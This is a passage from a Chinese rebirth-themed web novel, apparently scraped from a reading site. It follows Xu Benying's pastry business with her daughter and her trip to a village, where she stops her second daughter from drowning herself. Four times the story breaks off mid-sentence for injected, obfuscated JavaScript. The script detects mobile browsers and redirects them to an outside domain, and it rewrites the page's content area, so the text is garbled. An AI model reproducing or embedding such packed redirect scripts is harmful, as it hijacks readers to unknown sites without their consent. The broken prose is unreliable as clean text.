李爱霞晚上吃的很撑，她摸着果果的脑袋，温柔地问：“果果，你吃饱了吗？” “果果吃饱了。”小女孩儿打了个嗝儿，满足地说。 “那你要不要去厨房找小楠姐姐玩儿？” “要去，要去，果果也想跟小楠姐姐学做饭，然后做给爸爸妈妈还有姐姐吃。” 李爱霞听到这句暖心的话，眼睛笑的弯弯的，她细心地用手帕给女儿嘴角的残渣擦掉，笑道：“那果果去找小楠姐姐吧，别捣乱哦。” 看着母女两其乐融融的画面，还有刚才果果的话，让徐本英有些动容。 大人做错了事儿，最终可能还会让小孩子跟着一起承担后果。 要不她就装作不知道这件事儿好了，反正小美小丽两姐妹也已经离开明城了，她为啥非要搅碎一个家庭呢？ 最重要的是，李爱霞今晚表现的也有些反常，说出来的话总让她有种感觉，她不是什么都不知道的人。 “徐姐，你开始要跟我说什么？现在就咱俩了，你说呗！”李爱霞摸着鼓起来的肚子问。 “我说......你要是真走了，我还真有点舍不得你。”徐本英倒不是为了找个理由才这样说的，毕竟她和李爱霞是一个地方出来的老乡。 虽然之前联系并不密切，但两人从小就认识，只要她跟自己在同一个地方，这个地方对徐本英来说就会多一点归宿感，她当下说出的这句话绝对是真情实意的。 “哈哈哈哈哈徐姐，这都不像你说的话呀。”李爱霞又笑了，笑了很长一串，“这都说不准的事呢，要是真走了，以后又不是不回来了。” “......” 可不就是不回来了嘛！ 徐本英记得上辈子李爱霞走了，就再也没听过她的消息了。 两人借着醉意，后来又东扯西扯了几句，徐本英就让虎子把这对母女送回家了。 她们一走，方楠就跑出来问她妈：“妈，李阿姨，你们......” “我啥也没说。”徐本英脸有点红，她摸了摸自己发热的脸。不知为何，此时此刻的她，有些庆幸刚才在关键时刻老三冲了回来，打断了她的话。 亦或许是老天爷也不想让她说吧。 竟然如此，那她也要顺应天意才对。 “您不是打算今晚告诉李阿姨的吗？” “老四，我总觉得你李阿姨她像是知道点什么！”徐本英说完叹了口气，有些出神。 “啊？”方楠震惊的说不出来话了。 果真如此吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129802|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她咋没看出来？ 又过了一天，李爱霞的表弟从省城卖完东西回了明城，他一休息好，就立马来方家找徐本英，给她结最后的尾款。 加上之前给的定金一共是7元5角，方楠做的是5斤的量，相当于一斤松饼她们就赚了1元5角。 这远比徐本英想象中的还要赚钱。 徐本英收了钱，连忙把这次做的松饼又交给了李爱霞的表弟，又收到了他给的2元5角的定金，现在她的手上一共拿到的是10元。 她把钱拿给老四的时候，老四吓得都合不拢嘴了。 她看见自己女儿一副小财迷的样子，没忍住笑出了声。 方楠知道母亲是在笑她，顿时红了脸，“妈，做两次糕点就能赚这么多钱？” “还不止呢，第二次的尾款还没给咱们结呢，结了以后估计还能再拿到5元呢。” 徐本英也开心，毕竟这是女儿第一次靠自己的手艺赚到钱。 “妈，我一开始还以为省城的人不会买我们的糕点呢，他们啥好东西没见过没吃过啊！” “傻丫头。”徐本英宠溺地刮了下女儿的鼻头，“李爱霞的表弟跟妈说啊，咱们做的糕点啊，一拿出去就被抢光了，卖的特别好。” “妈，我真的好开心啊，这感觉跟做梦一样。” 高兴归高兴，徐本英还是冷静下来给女儿继续出谋划策。 “但同样的糕点我们最好只卖个两三次，省城的人就是吃个新鲜，如果咱们一直只卖这个，后面指定就不会再卖得这样好了。所以我跟爱霞的表弟也商讨过了，这一次，我们换个别的糕点做。” 方楠立马失去笑容，愣住了，“可是妈，这香蕉松饼还是您给教我的，别的我也不会啊。” “这个不担心，妈脑子里多的是食谱，等着妈后面都慢慢教给你，正好爱霞的表弟有门路，到时候我们缺的东西也可以让他帮咱们准备。” 方楠重重地点了点头，反正只要有她妈在，她就啥也不怕。 她迈着坚定的步子，走到她妈跟前，把手上的钱全部一把都塞给了她妈，“妈，这钱你拿着，就当是我孝敬您的。” 徐本英笑了，摸了摸老四的小脑袋，“妈不要你的钱，妈可是厂里的老师傅了，工资高着呢，还用得着你给我钱？” 方楠有点失落，想起之前，妈要过大哥的钱，也收了三哥的伙食费，咋就单单不要她的钱呢。 她得声音有点藏不住的委屈，说：“妈，你是不是嫌少，那我再攒一些一起拿给你，行不？” 徐本英察觉到了女儿的委屈，这一刻心都要化了，连忙带有抚摸性的继续摸了摸她的脑袋。 “你真是个傻孩子，妈咋会嫌弃你给的少，妈就是心疼你，这是你好不容易才拿到手的钱，你全给妈了，你自己要是想用钱了咋办？妈告诉你多少次了，女孩子的手上一定要给自己攒些钱，别总想着给这个给那个的。” “可是妈......”方楠还是有些失落，这是她第一次挣钱，她就想给自己最亲爱的妈妈。 “行，那妈拿一半，拿5元，但下次可不许再给了。” 方楠乐的跳了起来，一把抱住她妈，“好的，妈妈，我都听你的。” 22. 第二十二章 自孙小美带着孙小丽离开了明城后，方老三就整日地窝在家里哪儿也不去。 就连机械厂的工他也不去上了，直接跟厂里请了一个月的假。 平日里谁喊他出来吃饭他也不吃，就整日地把自己睡死在床上。 狭隘的厨房里，徐本应和方楠准备做第三次的糕点拿去卖了。 一个人和着面，另一个人在旁边仔细加着水，面团和好了，等着面团醒发的时间，母女俩聊了几句。 “妈，三哥他......这次是真伤心了。”方楠担心她三哥，更担心她妈，便主动提起了这事儿。 “那也是他该的。” “可他都整整两天两夜没吃没喝了，这样下去，会把身体熬坏了的。” “不用管他，一米八的大小伙儿了，饿两天饿不死的。” 徐本英嘴上说的这么云淡风轻，是因为她知道，虎子这两天有偷偷给他哥从外面跑腿买吃的回去。 两个臭小子，在他们老娘的眼皮子底下，还想搞这种小动作。 不过这都随他们，她就装作不知道好了。 “来，别想你哥的破事了，妈今天要教你做的是红豆千层酥。” 徐本英看一旁的油皮醒的差不多了，就及时停止了闲聊。 她用十分熟练的手法，拿面粉淀粉和热油，又迅速地和出来一个油酥面团，而后就把剩下的步骤全部交给老四来做了，自己只在一旁指挥。 “老四，先把油皮擀开，然后把油酥放在油皮的正中间，放好后，再把油皮的两边对折起来。” “对，四个角也捏起来......再继续擀......” “好了，对折两次后，我们现在可以来放熬好的蜜豆了......把收口处要捏紧，我们再擀一次，就可以切块儿上锅炸了。” “......” 方楠在她妈的指导下，很快就把一锅的红豆千层酥顺利做了出来。 徐本英尝了其中一块，香甜又酥脆，跟她记忆中的那个口感一模一样。 就是味道吃起来要比她以前吃到的更甜一些，爱霞的表弟上次特意跟她讲过了，说大家都爱吃甜口的，所以她这次让老四把蜜豆专门熬的很甜。 方楠也跟着她妈的后面尝了一口千层酥，轻轻咬了一口外面酥皮的渣就往下掉，里面包裹的红豆却绵密香甜，简直好吃的让人停不下来。 “妈，真的好好吃啊，你是咋知道红豆还能这样做的。” 徐本英肯定不能说出自己重生的秘密，那样会吓到老四的，便临时瞎编了个理由：“是妈做梦，做梦梦出来的，你说神奇不？” “神奇！”方楠立马响亮地回了她妈一句。 反正妈说啥，她就信啥。 紧接着，门外面响起一道洪亮的声音，“徐婶子，在家吗？” 徐本英一听是街道口曹家那孩子的声音，连忙应了一声。 “在呢！” “邮局那边让我给你带个话，说是到了你的一封信，还有两个大包裹，东西有点多，我就没给你带回来，你要是有时间记得自己去拿。” “行，我知道了，谢谢你啊，小曹，还麻烦你多跑一趟。”徐本英连忙从厨房里跑了出来，手上还拿了两块刚炸好的红豆酥，递给了小曹，“小曹，你也来尝尝，这是徐婶子家里自己炸的点心。” “徐婶子，原来这香味儿是从你家散发出来的呢，我在巷子那头都已经闻到了，香的我都要流口水了。”说完便把徐本英递过来的红豆千层酥接了过去，又笑嘻嘻地补了一句，“那我今天可有口福了，谢谢徐婶子，我先走了。” 送走了小曹，徐本英就和老四把红豆酥分成了两份。 一份少一点的就留在家里给其他的人也尝一尝，还有一份多一点的就把包好了装起来，等着李爱霞的表弟来取。 隔天的下午两点多，徐本英下了班，她让方楠先回去，在家里等着虎子放学了两人一起去邮局等她。 她要去方老大的厂子里去要钱，今天是他们发工资的日子，要完钱了再去邮局跟他们会合。 徐本英轻车熟路地坐到了门卫室里等着方老大下班。 到了下班的点儿，徐本英一看见方老大，就大声地把他喊了过来。 这次方老大没有进到门卫室里面，而是让他妈出来。 徐本英无所谓，出去就出去，反正该给她的钱一分也少不了。 她跟门卫老大哥点了个头，笑了一下，就出了门卫室。 跟着方老大的身后走到了一棵大树下，两人才站住了脚。 方老大单手推着自行车，一副随时想骑了车就逃跑的样子，“妈，这个月少给点儿成不，头两个月把钱给了你，你都不知道陆青跟我闹得有多凶。” “不行，说好了给一半那就是一半，她找你闹，那是你俩的事儿。” 徐本英立马拒绝，这老大家这些年不知道啃了她多少老，这才给了两个月的生活费就不干了？ “妈，你一个月没见我了，看见我就是要钱？你还当我是你儿子吗？” “家就在哪儿，是我不让你回去的？少废话，你这是要让我当着你们同事儿的面儿喊你两句才肯给是不？” 这时，方老大的几个同事凑巧从这里过，笑嘻嘻地冲他喊到：“国栋，又在给你妈拿钱呢，你可真孝顺！我们都要向你学习！” 方老大立马挤出了笑容，不好意思地挠了挠头，“是啊是啊。” 他现在孝顺的名声已经被门卫大爷传遍了整个厂子，前段时间厂里的领导视察的时候还特意表扬了他，说他不仅在技术上是个人才，在孝顺父母的事情上也做的很好。 他现在可谓是骑虎难下了，以后每个月的钱就算不想给也必须要给了，真后悔当时写的那个保证书。 方老大认命般的耷拉个脸，把刚发的工资掏了出来，数了一半递给了他妈。 徐本英也当着方老大的面儿数了数，发现一分没少才装进了口袋。 装好后还对着方老大又说了一句：“老大，以后要想在这些同事面前保住你的面子，勤快点儿，把钱主动给送家里去啊，别到时候又说一个月都没见面儿这种话了，这别的同事不知道的还要怀疑你是装的孝顺呢。” 方老大叹了口气，没再接话，他现在满脑子想的都是要怎么回家跟媳妇儿和丈母娘解释工资又被他妈拿走了一半的事儿。 和他妈分开后，他并没有选择骑车回家，而是慢悠悠地推着车在路上走，越走越沮丧。 上个月他那大舅子又赌博输了不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129803|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，丈母娘又从他这里借了一笔钱去给大舅子还堵债，后面这笔钱也不指望他们会还了。 现在他和陆青两个人的日子都快过不下去了，以前还有方家能够补贴他们，而如今...... 他不希望这种苦不堪言的日子一直就这样持续下去，便在前两日主动找到大舅子，劝他以后不要再赌了。 大舅子听了没有直接拒绝他，而是对他放言，除非他能帮他说个让他满意的媳妇儿，不然他就一直赌下去，然后一直问他们家借钱。 为了不再被借钱，他这些天已经把身边所有合适的女同事都想了一圈儿也没个合适的，谁能愿意给一个赌鬼当老婆啊，那不是把人家女孩子往火坑里推吗？ 现在给这大舅子说媳妇儿的事儿都还没着落呢，刚发的工资又少了一半，回去绝对又要被陆青给打一顿的。 方老大把这一切痛苦的根源都归于是他妈造成的，要是他妈能不狠心地问自己要走一半的工资，要是他妈能把祖传的镯子给了他，要是他妈能处处为他着想，要是他妈能够把老四嫁给他的大舅子...... 他突然停住了脚步，怔了半天。 是啊，他之前咋没有想到，他那四妹也到了嫁人的年纪了，嫁给谁不是嫁，嫁给他的大舅子不就亲上加亲了？ 就是不知道他那大舅子能喜欢他那四妹不，毕竟她连个大字都不认识。 不过，长相模样倒是不错。 想法一旦产生就收不住了，他踏上自行车，迫不及待的赶回家，要跟陆青商量此事了。 这事要真成了，说不准以后陆青还能看在他四妹的份上多给他一些好脸色，他也就不用夹杂在他妈和媳妇儿中间了。 徐本英从方老大那里拿到钱以后，就跑去邮局和方楠还有虎子会合了。 邮局的确是有她的一封信，一起寄过来的还有两个大包裹。 看信的封面，上面的署名是方茹寄过来的，两个包裹有些重，一个让虎子给扛回去了，还有一个是她跟方楠两个人一起拎回去的。 徐本英回去的路上心里老是有种不好的预感，她一回家，就立马把信打开看。 她把信的内容仔仔细细地看了半天，也没从中看出来个所以然来，信里的内容大致都是介绍两个包裹里都有些啥，是送给谁的。 比如那一袋子死沉死沉的书和资料都是给虎子的，说里面有几本书是在外面都买不到的，让虎子好好看，争取考个大学读，成为家里的第一个大学生。 还有一些半新半旧的衣服是给老四的，都是她从家里走的时候带的那几件衣服，估计她自己在乡下都没舍得穿。 剩下的还有些土特产，说是给大家的，让大家伙儿分了吃。 “二姐在乡下一个人又要干农活，还要照顾婆婆，自己都顾不过来了，咋给我们寄这么多东西？而且这些书是二姐最爱的，她咋也都给虎子寄回来了？” 方楠收到她二姐送她的衣服，并没有高兴，反而觉得奇怪。 徐本英也觉得奇怪，这好端端的，老二咋突然寄这么多东西回来，这光邮费就要不少钱吧，难道，这是出什么事儿了？ 徐本英想到上辈子老二的悲惨结局，心里一颤。 不好！难道老二是打算提前结束自己的生命了？ 23. 第二十三章 徐本英早就发现这一辈子有很多的事儿都发生了变化，所以老二投河自尽的事儿也很有可能会在这辈子提前。 徐本英想到这儿，心里更觉得慌了，她把桌子一拍，大声地说了句：“我要下乡！” 方楠问：“妈，你是觉得二姐出什么事儿了吗？” “不管是不是，我都要去一趟，接你二姐回来是迟早的事儿，我本来想着把你工作的事儿安排稳妥了就去，但妈不想等了。” “妈，我支持你去，我现在挺好的，咱们还是先下乡接回二姐要紧。”方楠立马支持母亲道。 说去就去，徐本英拖着疲惫的身子，当晚就跑去集市买了一大堆路上要用的东西，有些东西晚上买不到了，她还是拖李爱霞的表弟搞到手的。 临走前顺便给他交代了一嘴，她这段时间要下乡，卖糕点的事儿还是要继续，让他直接联系她家老四就行，她家老四单纯，还麻烦他多照顾。 她路上的物资买的是两人份的，这次既然下了乡，老二就必须接回来，谁知道会在乡下发生什么，老二那个婆婆要是个好的也不会上辈子逼得她投了河，所以这次下乡她一个人去肯定不行。 老头子年纪大了，小虎又太小了，去了帮不上什么忙，老四就更不能去，一个女孩子家家的跑那么远最危险了，她心中最佳的人选就是躺在家里啥也不干的老三。 一米八的大个，在厂子里也是干体力活儿的，一身腱子肉，有现成的儿子，不用白不用。 徐本英回到家里，老四都已经把行李收拾好了，凑到她跟前说：“妈，我东西都收拾好了，我明早跟你一起走。” “那咋成啊，你去能帮我啥忙，细胳膊细腿的，万一路上遇到什么特殊情况，妈还要分神保护你。” 方楠眼里都是掩不住的失落，她要是男孩子就好了，说不定就能长成大哥三哥那样保护妈了。 徐本英察觉到女儿的失落，连忙转移话题，“最重要的是，我都已经和李爱霞的表弟说好了，这卖糕点的事儿不能停，停了以后说不准就会失去那帮客户群，妈也已经把各种方子写下来给你了，到时候你让虎子念着给你听。你就照着上面的做，挣了大钱，妈回来以后还要跟着你享福呢。” “可是妈，我担心你一个人去了会有危险。” “傻丫头，谁说妈要一个人去了。” 过了半个时辰，方家院子里，突然响起一声洪亮的拒绝声。 “你们休想让我去。” “三哥，你就陪妈去一趟吧，难道你就不担心妈一个人下乡遇见危险吗？”方楠在一旁劝道。 “我......”方老三有些犹豫，说不担心是假的，他毕竟就一个妈，要是真一个人在外面遇到啥事，他肯定不愿意。 但是，他都失恋了，这些天，他妈都从来不关心他，他心里委屈。 还有方楠，这个没良心的妹妹，做了好吃的新糕点，也不知道给她哥拿一块吃，还是他给了虎子一元钱换来的。 这个家里的人通通都不在乎他，现在需要他了，就让他出力，凭什么？ “老三，你跟着我去，妈给你付工钱。”徐本英就知道这个老三会不情愿跟着她，只能拿钱诱惑他了。 方老三哼了一声，“能给我多少啊？” “你在厂里当学徒的双倍，日结。” “真的？” 徐本英点了点头，反正刚从老大那里要到一笔钱，现在先把老二接回来要紧。 得到了肯定答案，方老三瞬间两眼放光，那要是有钱赚，还是蛮划算的，有吃有喝还能不上班拿双倍工资！ 他妈现在看这样子也不会管他以后说媳妇儿了，他得自己给自己攒点儿老婆本。 既然给钱，那当然越多越好了，他妈这么久以来还是第一次跟他好言好语的，看来这事儿还非他不可了，他得再试探试探，能不能给他再涨涨。 “妈......乡下那么苦.......” “你要是不成，我就去找你大哥，反正他早就想要你二姐那对镯子了，说不定这次他把你二姐接回来，你二姐感谢他就给他了，到时候，你可是啥都没有了。”方老三的话还没说完，就直接被他妈给打断，这臭小子，还想坐地起价！ 方老三一听，立马转换态度，一口答应了下来：“妈，妈，我去，双倍就双倍，咱们明早就出发。” 母子俩儿要去的那个地方是马县最边上的一个小村落，叫做谢家村，算是比较落后的一个小村落。 两人先是在明城坐了火车，又到马县坐了汽车，到了镇上还转了一次马车，这才到达了目的地。 这时离他们出发那天已经有足足两天了。 一下马车徐本英的双脚就飘飘然了，软的直打颤，幸好两人路上干粮准备的充足，至少没饿着。 但这人生地不熟的，也不知道老二现在正在那个疙瘩受罪呢。 只能和老三扛着大包小包得一路走，一路问，才问到了方茹婆家的大概地址。 这谢家村四面环山，只有半山腰有一条山河，那河水不算特别深，但是水流的很急。 是从山上面整个泻下来的，十分汹涌。 顶着太阳的两人渴了一路，一看见了水就彻底走不动道儿了，想着怎么也要在这儿凉快凉快，顺便歇歇脚，再这么走下去人都要废了。 “给，妈，你喝点水。”老三也不知道在那个包裹里摸出来了个碗，盛了些山水递给了她。 徐本英点了点头，心想着这小子关键时候还是顶些用处的，她喝着水解渴的功夫环看了下四周，这里可真是凉快啊。 突然间，她看见不远处的一个大石头上站着一个女人，很是眼熟，有些像...... 老二？ 徐本英拍了拍一旁的老三，问：“老三，你视力比妈好，你看那是你二姐不？” 老三顺着他妈指的方向看去，确实有个女人，但那样子哪儿像他二姐啊。 印象中他姐可比这年轻漂亮多了。 “好像不是，我二姐哪儿有那么老，” 徐本英看那女人的姿势像是要往下跳的样子。 她心里一跳。 这么急的水要是真跳下去了，哪还有活命的机会。 “她好像要投河，不管是不是，咱先救人啊！” 徐本英把碗一放，连忙起身，方老三迷迷糊糊地点点头，也跟在他妈后面。 两人一路跑的飞快，一边跑一边大声的喊，女人听到声音，停止了往下跳的动作，回头看他们。 徐本英看清女人长相的时候吓得身子一颤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134088|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这不就是方茹吗？ 她多年未见的苦命女儿！ 不仅徐本英吓得不轻，方老三亦是如此，这想死的女人还真是他姐啊？ 不过，他姐咋老了这么多，他刚刚差点都没认出来。 “方茹，方茹，你千万别想不开啊，妈来了，快到妈这里来。” 徐本英离方茹还有一小段距离，但是她不敢再上前了。 万一把她吓到了，一头就栽下去了，她只能唤她过来，到她的身边来。 “妈？三弟？是你们？”方茹瞬间有些恍惚了。 她咋突然看见她妈了？ 她刚才不是打算投河的吗？ 咋下一秒她妈就出现了？还有她三弟？ 记得上次回家探亲看见这两人已经是好久以前的事儿了...... “我这是已经死了还是在梦里？咋看见你们了？” “没死，没死，妈来了，就不会让你死的，也不是在做梦，我的老二，妈是真的来了，你快到妈这儿来，有啥委屈你跟妈讲，妈给你解决，成不？” 徐本英心疼的心都碎了，看见女儿一副憔悴失神的模样，真不敢想她在这儿都吃了些什么苦。 “不，这一切一定是梦，妈，你咋可能会来看我，更不可能对我说这些话，三弟就更不可能跟你一起来了，我要从这里跳下去，说不定梦就醒了。” 方老三面对他姐的话，不由自主地抽了下嘴角。 他咋就更不可能来了，二姐咋能这么想他，哼！ 徐本英感觉到老二现在精神有些恍惚，这样耽误下去要是真跳下去就晚了，必须得做个什么事儿刺激一下她，把她的理智给拉回来。 下一秒，她几步跨上前，也跑到了离方茹不远的一处边边上。 “行，老二，你要跳，妈就陪着你一起跳。” 方茹看她妈去了那么危险的地方，脑子里的理智顿时恢复了一半，吓得大喊：“妈，你这是做啥啊？” “老二，这些年是妈对不起你，你要是走了，妈指定也活不成了，还不如陪你一起走。” 说完她又对着背后的老三喊道，“来，老三，你也来陪你姐，我们娘仨一起跳。” 老三脸上又哭又笑，不是，她姐疯了，她妈咋跟着一起疯？ 疯就疯了，他招谁惹谁了？ 跳河这种事儿还要让他也陪着？ “不是，妈，你开玩笑的吧，你别陪姐疯了！” 徐本英朝着老三狠狠地瞪了一眼，平常不是戏精吗，这会儿接不住老娘的戏了？ 她咋生了这样一个瘪犊子，她看老三不给力，只能自己继续演下去了。 “老二，反正这些年里是妈对不起你，你要是走了，妈也活不成了。”说完就做出了也要往下跳的动作。 老二急的瘫软在地上，连喊了好几声妈，“我错了，你别跳，我也不跳了。” 徐本英看自己的戏演的差不多了，给老三那个逆子使了个眼色，“还愣着干啥，还不赶快把你姐扶起来？” 方老三看得一愣一愣的，反应过来的时候连忙点头，听话的跑到他姐那儿，把她扶了起来，又带到了更安全的位置。 这时，突然不知道从哪里跳出来一个老太婆，指着方茹的鼻子就开骂。 24. 第二十四章 “好啊，你个扫把星，让你去干活，你偷懒也就算了，还跑到这里给我偷野男人，你克死我儿子还不行，又来勾搭别的男人，这男人看着面生，还不是我们村子的，你个不要脸的都偷到外面去了，也不知道你背着我已经偷过多少男人了！” 徐本英火大急了，活了这么多年，还没睡敢当着她的面骂她的孩子。 她二话不说，上前就是给了那个老太太一嘴巴子，巴掌又响又脆。 “你给老娘闭上你的臭嘴。” 老太太一个姿势没站住，一屁股坐在了地上。 她被打的脑袋都麻了几秒，缓过来后，又指着徐本英的鼻子骂：“你个老不死的又是谁啊，你凭啥打我？” “我老不死？你跟我比你才是那老不死的，睁大你的狗眼好好看清楚吧，我是她妈，当着我的面儿骂我的女儿，还敢问我是谁？看我今天不撕烂你的嘴。” 徐本英说完就又要冲上去，是方茹叫住了她妈，一脸为难道：“妈，她是我婆婆，你别这样。” “你婆婆？”徐本英从上到下扫了一眼这个恶毒老太太。 瘦小的个子却长了一双男人的脚，看起来十分不协调，脸上的五官也是长得不尽人意，都说相由心生，这老太一看就不是个好东西。 “你婆婆平常就是这样不当人的？一说话就满嘴喷粪？” 方茹一脸奇怪的看着她妈，这一张嘴就骂人的还是她妈吗？ 她记得妈以前说话不这样啊，她这人最讲究的就是颜面二字了。 她该不会真的在梦里吧？ 而一旁的方老三则一脸的见怪不怪的，抿着嘴在一旁偷着笑。 “你.......”方茹老婆子被骂的顿时吐不出来半个字，在这谢家村，还只有她骂别人的份，那儿轮得到别人骂她呀。 没听方茹说过她有个这么厉害的妈呀！ 今天算是吃了个大亏！ “我今天是看在我家老二的面子上先放过你，以后你要再说我女儿一个字不好，小心我跟你拼命。” 方茹老婆子‘诶哟’了一声，脸上的神情也跟着让人看了不爽，“还跟我拼命？你说是她妈就是她妈啊，她结婚的时候你都没来，现在来了又装个啥？我还以为她娘家人都死光了呢。” “死老太婆，看来我今天不抽你不行了是吧。”徐本英实在是忍不了了，管她是谁的的婆婆，敢诅咒她一家老小，她还不动手？ 老婆子又哼笑了一下，“你敢打我？这村子里的人可都是和我一伙儿的，我一喊遭殃的恐怕是你们。” 徐本英看向了方茹，想从她那里求证一下，方茹点了点头，随后说：“妈，算了吧，她说的是真的，我先带你们找个地方休息一下吧。” 方茹把妈妈和弟弟赶紧拉走后，谢家婆子才从地上爬了起来，她往地上啐了一口，恨道：“是亲妈也不行，敢带外面的男人来给我儿子戴绿帽子，我一定不让你们好过。” 谢家村之所以叫谢家村，是因为整个村子里的人基本上都姓谢，每家每户不是沾亲就是带故，所以对自己人极其护短。 刚才要是真动了手，只有外人吃亏的份，这也是刚才方茹拦住她妈的原因。 她已经被摧残了，不能再让妈妈和弟弟因为她再被拖累。 方茹把她妈和她弟安排在了一个茅草屋，这里还是当年她们当知青的时候遗留下来的。 后来大多数的知青陆续返城，这间屋子也没有被拆掉，成了一间废弃的屋子。 因为很久没被人住过了，屋子又脏又破，但方茹实在没有办法，刚刚闹的哪一出，以她婆婆的性格，是不会让她的娘家人住进她家的。 只能晚点儿了从婆家偷偷地收拾两套被褥出来给她妈还有弟弟盖一盖。 “二姐，这啥鬼地方，这能住人吗？我倒还能凑合，就是妈可年纪大了。” 方老三嫌弃地看了眼周围，他从小虽然说和虎子挤在一个屋子里，但是也没住过这么脏乱差的地方，这蜘蛛网都能织棉被了。 “妈，三弟，我实在对不住你们，你们大老远地来一趟，我却让你们......” 徐本英知道老二的窘境，心疼她都来不及，咋可能会怪她？ 她狠狠地拍了一下老三的脑袋，让他闭嘴，这一打，可吓坏了方茹。 她在一旁不可置信地盯着她妈，妈以前可是最喜欢三弟的，那是从不舍得说一句重话，更别说是动手了。 “老二，你不用多想，就你婆婆那种人，就算是求我住进她家，我都不去，我嫌膈应。就住这儿挺好的，脏是脏了点儿，一会儿我和老三收拾收拾就行了，你们当年下乡的知青都住得，我和老三咋就不能住了。只是......你还要回她那儿去吗？何不跟妈挤一夜，明早我就带你回城里去。” “回城里？”方茹有些不可置信地问。 “是啊，妈这次来，就是特意来接你来的。” 方茹眼里闪烁着泪花，酝酿了半天，只吐出来两个字：“算了。” 徐本英好奇地问：“为啥？你不愿意跟妈回去？” “我还回去干啥？我都嫁过人了，回到城里了又能怎么么样呢？那里又是我的容身之处呢？”徐本英惊讶老二咋会这样想，嫁了人又如何？ 她以前可是几个孩子里最有斗志的，这几年到底发生了啥？让她变化这么大？ 她想问，但是她问不出口，因为造成这一切的正是她。 她问不出口，方老三却在一旁问起了别的，“姐，我很好奇，你咋就在乡下嫁人了，为啥啊，还嫁个短命的，老婆子也这样嘴坏。” 方茹听见弟弟这么说，有些生气，“三弟，我不许你这样说我的丈夫，你姐夫他是个很好的人，当时我下乡根本就干不动农活，谢家村的村民都嫌弃我，只有他不嫌弃我，不仅会悄悄省下他自己的口粮给我，还会帮我干活儿，我当时要想活下去，嫁给他就是我最好的选择，其实我俩也挺好的，他如果不是上山打野猪丧了命，他不会让我婆婆这样对我的。” “打野猪？”徐本英虽然没亲眼见过，但小时候也是听说过那野猪的，极其凶恶，她没想到老二的短命丈夫胆子这样大，敢打野猪。 “是的，妈，这里条件差，要想吃肉，就得自己去山上打猎，之前也有人打到过，可能是谢涛的运气不好罢。” “老二，你跟妈说实话，你在婆家的这些年是不是过得很不好，咋瘦成这样了。”徐本英摸了摸她家老二，身上那里还有一点肉了，心里就更难受了。 方茹自嘲地笑了一声道：“在这里咋可能过得好，天不亮就要起来干农活，一干就是一天，我力气小，家里的田我一个人根本就干不完，但是我必须干，干的不好没有收成，我和谢涛的妈就得饿肚子。” “老二，你有学识，我不是听说有的知青留在乡下可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141247|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当老师的吗？那不是有补贴了？” 方茹面露难色，不知道这话该不该说。 “是谢涛的妈。” “她咋了？” “她说我是扫把星，克死了她的儿子，这村子里的人便都信了她的话，个个对我避之不及，说我不能进学校教书，会把霉运带给那些孩子。” 徐本英听了这些心都要碎掉了，她抱住女儿忍不住问出了那句心里话，“那老二，你这婆婆都这样对你了，为啥你还不愿意跟妈回去啊？” 方茹则是理智的推开了她妈，疑惑地问道：“妈，不是你前几个月给我寄来的信，让我不许回去了？” “胡说，妈咋可能这样狠毒。” 徐本英被女儿这样问，一脸的震惊，她不记得自己上辈子干过这样恶毒的事啊。 吃到大瓜的方老三也一脸鄙夷的看着他妈，没看出来啊，他妈这是当面一套背地一套，耍龙套呢！ 徐本英被老三的眼神盯的烦人，瞪了他一眼，意思是你再用这样的眼神看老娘一下试试！ 老三摸了摸脑袋，识趣地看向别处，她妈现在那可是说动手就绝对不动嘴，他还是别招惹她的好。 “妈，这信还在我那儿保存着呢。”方茹没想到她妈会不承认这件事儿。 在谢家村她的日子一直过得很艰难，有谢涛在的时候还好，可谢涛一死，婆婆对她是非打即骂，村民们也都没给过她好脸色，就连村子里的孩子都跟着一起欺负她。 她在这里根本就熬不下去了，她之前不是没动过要回城里的心思，虽然她嫁过人，这事儿办起来没那么简单，但只要她的娘家人愿意接收她，还是能办成的。 可就在这时，她收到了一封家里寄给她的信。 